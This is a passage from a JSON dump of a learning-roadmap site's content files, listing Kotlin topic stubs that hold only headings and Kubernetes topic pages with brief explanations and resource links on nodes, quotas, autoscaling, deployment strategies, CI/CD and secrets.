    "path": "src/data/roadmaps/kotlin/content/booleans@Z0NaGuewAo9QO-T4BGBr4.md",
    "content": "# Booleans"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/break--continue@yi0SCKL2sgqKlDGwT7Fmo.md",
    "content": "# break & continue "
  },
  {
    "path": "src/data/roadmaps/kotlin/content/buffered-streams@xCfSwvrdrSOYdEIdsxEuw.md",
    "content": "# Buffered Streams"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/build-tool-api@JP4S5PgiWS7_WF_JFWvas.md",
    "content": "# Build Tool API"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/build-tools@B1PAHsUITg5NtxllZ1OsR.md",
    "content": "# Build Tools"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/c-interoperability@7ybzwy7g4HSQYPUGFTD4q.md",
    "content": "# C Interoperability"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/catching-exceptions@VKDnV_Xlmj3lurkN_ZirD.md",
    "content": "# Catching Exceptions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/characters@vTAV9gzVDTJdnQ-BNktT_.md",
    "content": "# Characters"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/cicd-tools@zlyP0oCA5I5x5fHphutmd.md",
    "content": "# CI/CD Tools"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/class-generics@yQx5zVNvsit5AnRlDJsZu.md",
    "content": "# Class Generics"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/class-members@2DNh4oQet17AUQWvJ64fb.md",
    "content": "# Class Members"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/code-organization@Obf1lA3vl0F6HVMMQDeNz.md",
    "content": "# Code Organization"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/collections@x7Ok7RObQOQPTS3fBTHaF.md",
    "content": "# Collections"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/comments@G3SKq-A6CBSzY7kMJIkHk.md",
    "content": "# Comments"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/competitive-programming@jzJNHdc4tamjjdRpj-tsH.md",
    "content": "# Competitive Programming"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/compose-multiplatform@gwD16v8OnLvgfsn2zx780.md",
    "content": "# Compose Multiplatform"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/conditional-expressions@-fp4xlFS4iAzRxXKIaiIO.md",
    "content": "# Conditional Expressions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/constructors@xkT2UmeP9c37giF169aWD.md",
    "content": "# Constructors"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/coroutines-behavior@x5KaFoEEYNjR1a-4KlIcd.md",
    "content": "# Coroutines Behavior"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/coroutines-best-practices@ftCSs-gbgOdzZ2QFbEpEF.md",
    "content": "# Coroutines Best practices "
  },
  {
    "path": "src/data/roadmaps/kotlin/content/coroutines-builders@hvApxzNV0ly2Ck7_UuX3J.md",
    "content": "# Coroutines Builders"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/coroutines@lV108QhOIYF_6CW-UKybx.md",
    "content": "# Coroutines"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/coroutines@y14epi1_XqCPHJBZecq_M.md",
    "content": "# Coroutines"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/creating-files@4xn_kz-HcOoXTFGNLTPgv.md",
    "content": "# Creating Files"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/creating-instances@AW03C8g40fm5RUdVmAaZe.md",
    "content": "# Creating Instances"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/data-analysis@nNGeY4qnJfuK5xmmiY6La.md",
    "content": "# Data Analysis"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/data-classes@aCOWSt8oeJD7jxnmHggiN.md",
    "content": "# Data Classes"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/data-types@0K0aFQPi3CnB8BAAA2pIs.md",
    "content": "# Data types"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/date--time@bohaQpYQH9kMssn4kVDxA.md",
    "content": "# Date & Time"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/default-imports@cPiTsuFCkMZciOr9Wp9ID.md",
    "content": "# Default Imports"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/defining-classess@uiK2GDDnLzVbhq5erNxFL.md",
    "content": "# Defining Classess"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/documentation@wDBRLUYhlnkPr-rIpnY8G.md",
    "content": "# Documentation"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/dokka@vlMxe68Xp-YrC3gUXfzwr.md",
    "content": "# Dokka"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/enum-class@qsDphbFvDu7PEDKt7k0JC.md",
    "content": "# Enum Class"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/exceptions@zYmuAlJVJbDEU9qJo-n8p.md",
    "content": "# Exceptions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/extension-functions@0bQsJ-CAOo7srxjSocc6Y.md",
    "content": "# Extension Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/extension-functions@jpijY-Wbe6yNXZeNodpNt.md",
    "content": "# Extension Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/filtering@kHebnqaFOWOPgycYJCdyL.md",
    "content": "# Filtering"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/floats@liEMxRi675sNpqf950GXS.md",
    "content": "# Floats"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/for@-JmIDPedgVOw2RpIhYNv2.md",
    "content": "# for"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/function-types@WoPaR-IylckAixqAAwkeg.md",
    "content": "# Function Types"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/gradle-pluggins@mkGY2gTa5_ykZnoRMEvnm.md",
    "content": "# Gradle Pluggins"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/gradle@GC4hGG4v8F-8bHQTdlDWG.md",
    "content": "# Gradle"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/grouping@oVq4WYOC5U-uHMDeufN2L.md",
    "content": "# Grouping"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/higher-order-functions@Q9MQRfJuvXL3YluwJ1CfF.md",
    "content": "# Higher-order Functions﻿"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/history-of-kotlin@SLF_-a7Uwsl-fEqYiCIvF.md",
    "content": "# History of Kotlin"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/ides@Ee6XleWvK-v9fCxbz9a1n.md",
    "content": "# IDEs"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/if@2oS2FhszadxPm9eg2VTUV.md",
    "content": "# if"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/importing-packages@sCmAS0uEg2rZbNITYII5i.md",
    "content": "# Importing Packages"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/inheritance@aDgV966VKxzN0_vZ_oxRW.md",
    "content": "# Inheritance"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/inline-class@rCNP0MYQhLgYRMzu3JTxP.md",
    "content": "# Inline Class"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/integers@uMTIONS6pAxrdh7zoDHIz.md",
    "content": "# Integers"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/intellij-idea@2z9t6nLOZuiyGi6DAhNmI.md",
    "content": "# IntelliJ IDEA "
  },
  {
    "path": "src/data/roadmaps/kotlin/content/interfaces@UYOkP-AYKf8aw92pGSXl_.md",
    "content": "# Interfaces"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/introduction-to-kotlin@Lod4cyZLuaCMmQ3-GkH8Z.md",
    "content": "# Introduction to Kotlin"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/io-library@oTHsTW8zVcamI1DcqH2o9.md",
    "content": "# I/O Library"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/io@If4Lv0M03ALLpQ88Vwp6i.md",
    "content": "# I/O"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/iterators@H1794CAM_XqNJVT1LkXRG.md",
    "content": "# Iterators"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/java-from-kotlin@I_Ecet4Q1QQXHoIvt2OqK.md",
    "content": "# Java from Kotlin"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/java-interoperability@id1ai__oCcB32i2hsiesC.md",
    "content": "# Java Interoperability"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/jvm-metadata@rvPHK5Je3y4hPUKeaO00Q.md",
    "content": "# JVM Metadata"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kandy@JIivSHQvSotmFIpqUc5rJ.md",
    "content": "# Kandy"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kdoc@ipV1RoEkn9-yKD98nB4dC.md",
    "content": "# KDoc"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/koog@a5IDGzg8-FppJWCmhcq9q.md",
    "content": "# Koog"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-dataframe@AarV0h4U6Ol3auLGOW3iZ.md",
    "content": "# Kotlin DataFrame"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-from-java@qBuo_kgC-0ugiRCvR5JwQ.md",
    "content": "# Kotlin from Java"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-libraries@fln83FunYP4v_0jNfNtXx.md",
    "content": "# Kotlin Libraries"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-multiplatform@e24E1zTPdr6tNnlKitCys.md",
    "content": "# Kotlin Multiplatform"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-notebooks@n4AFoCcKqnGRRWuD0Ud-9.md",
    "content": "# Kotlin Notebooks"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlin-scripting@_88wF-lAkqW41C6FRmCHO.md",
    "content": "# Kotlin Scripting"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotline-notebook@PHHviBSqhYDSNuHBFbw3l.md",
    "content": "# Kotline Notebook"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlinjava@E0ooAe-E-RQ6WRjFLuYK7.md",
    "content": "# Kotlin/Java"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlinjavascript@IiWY4HhtDRj3N9D-o4fAd.md",
    "content": "# Kotlin/JavaScript"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlinnative@nCaPm0PSeS5rztRWiBL2s.md",
    "content": "# Kotlin/Native"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/kotlinwasm@naVzP9xVnnVu47DieEfBU.md",
    "content": "# Kotlin/WASM"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/ktor@q546Dq42Z3-WN-FOll4K1.md",
    "content": "# Ktor"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/label-loops@Lfdvpef2gXVdqr4e1dCHw.md",
    "content": "# Label Loops"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/lambda-functions@cFExAjlc_ATE8V9EWE5on.md",
    "content": "# Lambda Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/lists@0iZ9qfst8yw08cTW8d-Nx.md",
    "content": "# Lists"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/lists@PfXvx1jxcuR31Nm1Pia5M.md",
    "content": "# Lists"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/local-functions@HrjELmsiLAyxK6ru3ifgb.md",
    "content": "# Local Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/loops@hRcMw3NHSOy2TVympIYaf.md",
    "content": "# Loops"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/main--function@oQaxtbqUb1jub9yfuyKTc.md",
    "content": "# main  Function"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/maps@KeZhyjPFuuBwWPLXgyGs2.md",
    "content": "# Maps"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/maps@_4_NXfG-9jzLv9tNHP74E.md",
    "content": "# Maps"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/maven@7j55MuqI7BqRtwvTAQU6D.md",
    "content": "# Maven"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/member-functions@EXFJKm3FLX3OehSX8mBFO.md",
    "content": "# Member Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/methods@9tLiTYbNf9WnisvwBhObC.md",
    "content": "# Methods"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/nested--inner-classes@tjCG72uQt87-fIoBBzy0s.md",
    "content": "# Nested & Inner Classes"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/nullability-check-operators@xId8W3jQNhGJJvXFCcXir.md",
    "content": "# Nullability Check Operators"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/nullable-vs-non-nullable@7xmKy-sipKYv8k-WYTulA.md",
    "content": "# Nullable vs Non-nullable"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/object-declarations@migCYrzhAQ4keUk1MHPpZ.md",
    "content": "# Object Declarations"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/opt-in-requirements@s900IAqx50Pg7ngDmGLLG.md",
    "content": "# Opt-in Requirements"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/ordering@95fcqMEswDxcIcdFjr81M.md",
    "content": "# Ordering"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/parameters@9IIvovotEnTiNzVovWOiW.md",
    "content": "# parameters"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/plus--minus-operators@A0wxD3ih-r8w2NAd2dOgS.md",
    "content": "# plus & minus Operators"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/print--println@vk146kvcjWYdweOeJIM9h.md",
    "content": "# print & println"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/printing-data@Yr7DSqmOAOe15574qBrIT.md",
    "content": "# Printing data"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/progressions@o-iGCtrwA3AVbrBJW_7u3.md",
    "content": "# Progressions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/properties@2wbXYUOx1f4rmD5EHuzOw.md",
    "content": "# Properties"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/property-delegates@rOpgM--1Q1mBYmK5AlYAY.md",
    "content": "# Property Delegates"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/quarkus@MzV6A_0Sa9LhgalNmhwq8.md",
    "content": "# Quarkus"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/ranges@LZlkx9YYylodmjUXxnj7a.md",
    "content": "# Ranges"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/read-only-vs-mutable@D4G8DOX5b39Rxw2FtgnjQ.md",
    "content": "# read-only vs mutable"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/retrieving-collection-parts@l4-AiY4mfwstDzxIASESe.md",
    "content": "# Retrieving Collection Parts"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/retrieving-single-elements@_L6O23eo-oYsxA3pNXhC-.md",
    "content": "# Retrieving single elements"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/return@gVXXMYVlZZ5CHPBwGlGmZ.md",
    "content": "# return"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/safe-casts@QmfR2rJMP7o_meBR8wIpK.md",
    "content": "# Safe Casts"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/sealed-class@HIy-sN0veS5atkJI2ffSu.md",
    "content": "# Sealed Class"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/sequences@LLC--5n2K19hVvMuQ5nIO.md",
    "content": "# Sequences"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/serialization@TyuUD4479UXsbRY9nOGno.md",
    "content": "# Serialization"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/server-side-apps@aj_yIDgFpBOfoSs2kYBBT.md",
    "content": "# Server-side Apps"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/sets@GKRPXFLWsnLIXw8OS_DlK.md",
    "content": "# Sets"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/sets@XbsKQ7192Kvze-6Un_W2q.md",
    "content": "# Sets"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/setting-up-the-environment@KbmJGmWEr_kxFYoFb-JC9.md",
    "content": "# Setting up the Environment"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/spring-boot@By2b4Ukz6QjAUPFvqBx6g.md",
    "content": "# Spring Boot"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/spring@uIYjaX5WlKooyK-i1lGz5.md",
    "content": "# Spring"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/standard-functions@0lUpMxlIXOuze0-cOgyHp.md",
    "content": "# Standard functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/standard-library@FhBQsozNCYTaWwCsDDVyq.md",
    "content": "# Standard Library"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/string-templates@oQe1JVwYnLDNfvi-s7BQX.md",
    "content": "# String Templates"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/strings@mY6B8kIe6dGjHes-qm0jp.md",
    "content": "# Strings"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/suspending-functions@kVHtQQGhgIdJcQO0yynqG.md",
    "content": "# Suspending Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/swiftobjective-c-interop@aEvbW7AtLvvtol4qEQofe.md",
    "content": "# Swift/Objective-C Interop."
  },
  {
    "path": "src/data/roadmaps/kotlin/content/tail-recursive-functions@Ikv5K8lKG0vlA7WheGQHY.md",
    "content": "# Tail-recursive Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/teamcity@aIG_7-igm_LSR3ybAPz0j.md",
    "content": "# TeamCity"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/test-library@2_jmtc-zIQ7SuPNccHyXw.md",
    "content": "# Test Library"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/throwing-exceptions@8_u8eKhWHESek7pfpaOln.md",
    "content": "# Throwing Exceptions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/transformations@gR2pyEoMFPg6ha3YULRAR.md",
    "content": "# Transformations"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/type-aliases@d2KZMmwOG29uLnTP3tU_o.md",
    "content": "# Type Aliases"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/type-checks--casts@3ihCc-dNSKb_32qj0EF5j.md",
    "content": "# Type Checks & Casts"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/type-inference@YX5BhDgJ5NjASPc7kYySG.md",
    "content": "# Type Inference"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/understanding-packages@jcXt2Op2VDy6BbHzrqVyr.md",
    "content": "# Understanding Packages"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/unsigned-integers@g0bGnHk9WoSF6GsHLSicv.md",
    "content": "# Unsigned Integers"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/val-vs-var@vDWwBv0KF_S88cQFtnDVB.md",
    "content": "# val vs var"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/varargs@B2cxzgsEpeSzGATX4WNeO.md",
    "content": "# varargs"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/variables@s7hNf7C-IO-EoEtzbg3qb.md",
    "content": "# Variables"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/vertx@MCZaiTrPBrIMouBdyBD0y.md",
    "content": "# Vert.x"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/visibility-modifiers@yAT8zsAb-iJLFzTTYVJ4v.md",
    "content": "# Visibility Modifiers"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/what-is-null-safety@Vh_rxz7BsX6ZB777fTkXz.md",
    "content": "# What is Null Safety?"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/when@zJT9KVWYIbDTsGp5tTJEh.md",
    "content": "# when"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/while@qNupY4DnTFYZrGEQJPXcw.md",
    "content": "# while"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/why-use-kotlin@4PrkkoZ5fY-oow0O-bVhu.md",
    "content": "# Why use Kotlin"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/writing--reading-files@D56NrdWDFS-vQdALQOKXV.md",
    "content": "# Writing & Reading Files"
  },
  {
    "path": "src/data/roadmaps/kotlin/kotlin.md",
    "content": "---\nrenderer: editor\n---"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/adding-and-managing-worker-nodes@2cQKTxln3dIk5IjX2UZdM.md",
    "content": "# Managing Worker Nodes\n\nKubernetes runs your workload by placing containers into Pods to run on Nodes. A node may be a virtual or physical machine, depending on the cluster. Each node is managed by the control plane and contains the services necessary to run Pods.\n\nVisit the following resources to learn more:\n\n- [@official@Node Management](https://kubernetes.io/docs/concepts/architecture/nodes/#management)\n- [@video@Kubernetes 101: Nodes Tutorial](https://www.youtube.com/watch?v=xhwi3zIVR-8)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/advanced-topics@t8SJbGVXsUDECxePLDk_w.md",
    "content": "# Advanced Kubernetes Topics\n\nAdvanced Kubernetes concepts cover production-grade techniques for DevOps, Docker, and backend development. These include GitOps deployments, container optimization, stateful workloads management, secure cloud-native applications and service scalable implementations.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Production Best Practices](https://kubernetes.io/docs/setup/production-environment/)\n- [@article@Top Kubernetes design patterns](https://www.wallarm.com/what/top-kubernetes-design-patterns)\n- [@article@The Role of Kubernetes in DevOps](https://spacelift.io/blog/kubernetes-devops)\n- [@video@Kubernetes for Docker Users](https://www.youtube.com/watch?v=keNQ6V_W4VE&ab_channel=Rancher)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/assigning-quotas-to-namespaces@OHz4QMmA3lqL_C7aWL8Ga.md",
    "content": "# Assigning Quotas to Namespaces\n\nAssigning quotas to namespaces is a way to limit resource usage for specific groups of resources in Kubernetes. Quotas can be set for CPU, memory, and other resources, as well as for the number of objects in a namespace. This can help ensure fair resource distribution across different teams or projects within a cluster. Quotas can be applied to individual namespaces or across the entire cluster. Kubernetes allows for both hard quotas, which enforce strict resource limits, and soft quotas, which allow for overages up to a certain point. Quotas can be managed using the Kubernetes API or through YAML configuration files.\n\nVisit the following resources to learn more:\n\n- [@official@Resource Quotas - Documentation](https://kubernetes.io/docs/concepts/policy/resource-quotas/)\n- [@article@Leveraging Namespaces for Cost Optimization with Kubernetes](https://thenewstack.io/leveraging-namespaces-for-cost-optimization-with-kubernetes/)\n- [@video@Kubernetes Namespaces Explained in 15 mins](https://www.youtube.com/watch?v=K3jNo4z5Jx8)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/autoscaling@03mGA5AyL7mpF6y3EMW7A.md",
    "content": "# Autoscaling\n\nAutoscaling in Kubernetes involves adjusting the resources allocated to a deployment or set of pods based on demand. It includes Horizontal Pod Autoscaling (HPA) and Vertical Pod Autoscaling (VPA), which increase or decrease replicas or adjust resource requests and limits, respectively. Autoscaling can be used with Cluster Autoscaling to efficiently allocate resources and ensure application responsiveness. It's useful for handling variable workloads or sudden spikes in traffic.\n\nVisit the following resources to learn more:\n\n- [@official@Autoscaling in Kubernetes](https://kubernetes.io/blog/2016/07/autoscaling-in-kubernetes/)\n- [@video@Kubernetes cluster autoscaling for beginners](https://www.youtube.com/watch?v=jM36M39MA3I)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/basics@70lTSIVh0AD6M8fMMuWzY.md",
    "content": "# Scheduling Basics\n\nScheduling involves assigning pods to worker nodes based on criteria such as resource availability, labels, affinity/anti-affinity rules, taints, and tolerations. Pods are the smallest deployable units in k8s, consisting of one or more containers that share the same network namespace. The scheduler is responsible for assigning pods to nodes, while labels are used for matching. Affinity and anti-affinity rules dictate how pods are scheduled based on their relationships with other pods or nodes. QoS is used to prioritize pod scheduling based on their resource requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Scheduler](https://kubernetes.io/docs/concepts/scheduling-eviction/kube-scheduler/)\n- [@video@How Scheduling in Kubernetes Works](https://www.youtube.com/watch?v=0FvQR-0tK54)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/blue-green-deployments@9-oaTlzKmcxTfaRycz1w3.md",
    "content": "# Blue Green Deployments\n\nIt is a deployment strategy used in Kubernetes for deploying new versions of an application by running two identical production environments, one with the current version (blue) and the other with the new version (green). After the green environment is fully tested, traffic is routed from the blue environment to the green environment, providing a seamless transition for users and avoiding any downtime or disruption. In Kubernetes, Blue-Green Deployments can be implemented using a variety of tools and techniques, including deployment strategies, traffic routing, and load balancing.\n\nVisit the following resources to learn more:\n\n- [@article@Create a Kubernetes Blue Green Deployment](https://developer.harness.io/docs/continuous-delivery/cd-execution/kubernetes-executions/create-a-kubernetes-blue-green-deployment/)\n- [@video@Kubernetes - Blue/Green Deployments](https://www.youtube.com/watch?v=jxhpTGQ484Y)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/canary-deployments@88IGeC3dAopHLGtLozxdY.md",
    "content": "# Canary Deployments\n\nCanary Deployments is a technique used in Kubernetes to gradually roll out new versions of an application by directing a small percentage of users or traffic to the new version while the majority continue using the old version. This approach allows for testing the new version under real-world conditions before fully committing to the update. In Kubernetes, canary deployments can be implemented using tools such as Istio, Linkerd, or Nginx, or by using built-in features like deployment strategies and traffic routing.\n\nVisit the following resources to learn more:\n\n- [@article@Canary deployment for K8s deployments](https://learn.microsoft.com/en-us/azure/devops/pipelines/ecosystems/kubernetes/canary-demo?view=azure-devops&tabs=yaml)\n- [@video@Kubernetes canary deployments Explained](https://www.youtube.com/watch?v=sCevTD_GtvU)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/choosing-a-managed-provider@qSatCdBTDXPu-IFWzUI99.md",
    "content": "# Choosing a Managed Provider\n\nA managed provider is a cloud-based service that provides a managed Kubernetes environment. This means that the provider handles the underlying infrastructure, such as servers, storage, and networking, as well as the installation, configuration, and maintenance of the Kubernetes cluster.\n\nWhen choosing a managed Kubernetes provider, consider the cloud provider you are using, features and capabilities, pricing and billing, support, security and compliance, and the provider's reputation and reviews. By taking these factors into account, you can select a provider that meets your needs and offers the best value for your organization.\n\nVisit the following resources to learn more:\n\n- [@article@Choosing a Managed Kubernetes Provider](https://containerjournal.com/features/choosing-a-managed-kubernetes-provider/)\n- [@article@Amazon Web Services Gears Elastic Kubernetes Service for Batch Work](https://thenewstack.io/amazon-web-services-gears-elastic-kubernetes-service-for-batch-jobs/)\n- [@article@How to Build The Right Platform for Kubernetes](https://thenewstack.io/kubernetes/kubernetes-infrastructure-architecture/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/ci--cd-integration@Pymc9H-lRHVPy7M9eSaPD.md",
    "content": "# CI/CD Integration\n\nIn CI/CD pattern, the build, test, and deployment of applications to Kubernetes are fully automated. The CI pipeline creates the container image, runs tests, and pushes it to a registry. The CD pipeline then updates Kubernetes manifests or Helm charts and applies them to the cluster using tools like Octopus Deploy, Argo CD, Flux, or kubectl. This makes deployments consistent, repeatable, and fast.\n\nVisit the following resources to learn more:\n\n- [@article@Kubernetes CI/CD Pipelines – 8 Best Practices and Tools](https://spacelift.io/blog/kubernetes-ci-cd)\n- [@article@8 Kubernetes CI/CD tools every developer should know](https://octopus.com/devops/kubernetes-deployments/kubernetes-ci-cd-tools-for-developers/)\n- [@article@Deploy to Kubernetes with Octopus Deploy](https://octopus.com/use-case/kubernetes?utm_source=roadmap&utm_medium=link&utm_campaign=kubernetes-ci-cd-integration)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/cluster-autoscaling@RC5MoYtG2rom-d4FW5qD2.md",
    "content": "# Autoscaling\n\nAutoscaling in Kubernetes involves adjusting the resources allocated to a deployment or set of pods based on demand. It includes Horizontal Pod Autoscaling (HPA) and Vertical Pod Autoscaling (VPA), which increase or decrease replicas or adjust resource requests and limits, respectively. Autoscaling can be used with Cluster Autoscaling to efficiently allocate resources and ensure application responsiveness. It's useful for handling variable workloads or sudden spikes in traffic.\n\nVisit the following resources to learn more:\n\n- [@official@Autoscaling in Kubernetes](https://kubernetes.io/blog/2016/07/autoscaling-in-kubernetes/)\n- [@video@Kubernetes cluster autoscaling for beginners](https://www.youtube.com/watch?v=jM36M39MA3I)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/configuration-management@dj7Tb2XTX4kxRUYiTjlhM.md",
    "content": "# Secrets\n\nKubernetes secrets store sensitive data such as passwords, tokens, and API keys in a secure manner. They can be created manually or automatically, and stored in etcd. Secrets can be mounted as files or environment variables in a pod, and access can be managed using Kubernetes RBAC. However, they have some limitations, such as size and the inability to be updated once created. Understanding secrets is important for building secure applications in Kubernetes.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation - Secrets](https://kubernetes.io/docs/concepts/configuration/secret/)\n- [@article@Kubernetes Secrets Management: 3 Approaches, 9 Best Practices](https://thenewstack.io/kubernetes-secrets-management-3-approaches-9-best-practices/)\n- [@video@Kubernetes Secrets in 5 Minutes!](https://www.youtube.com/watch?v=cQAEK9PBY8U)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/container-and-pod-security@Nja7IFWcFTLsPcqbvRNm9.md",
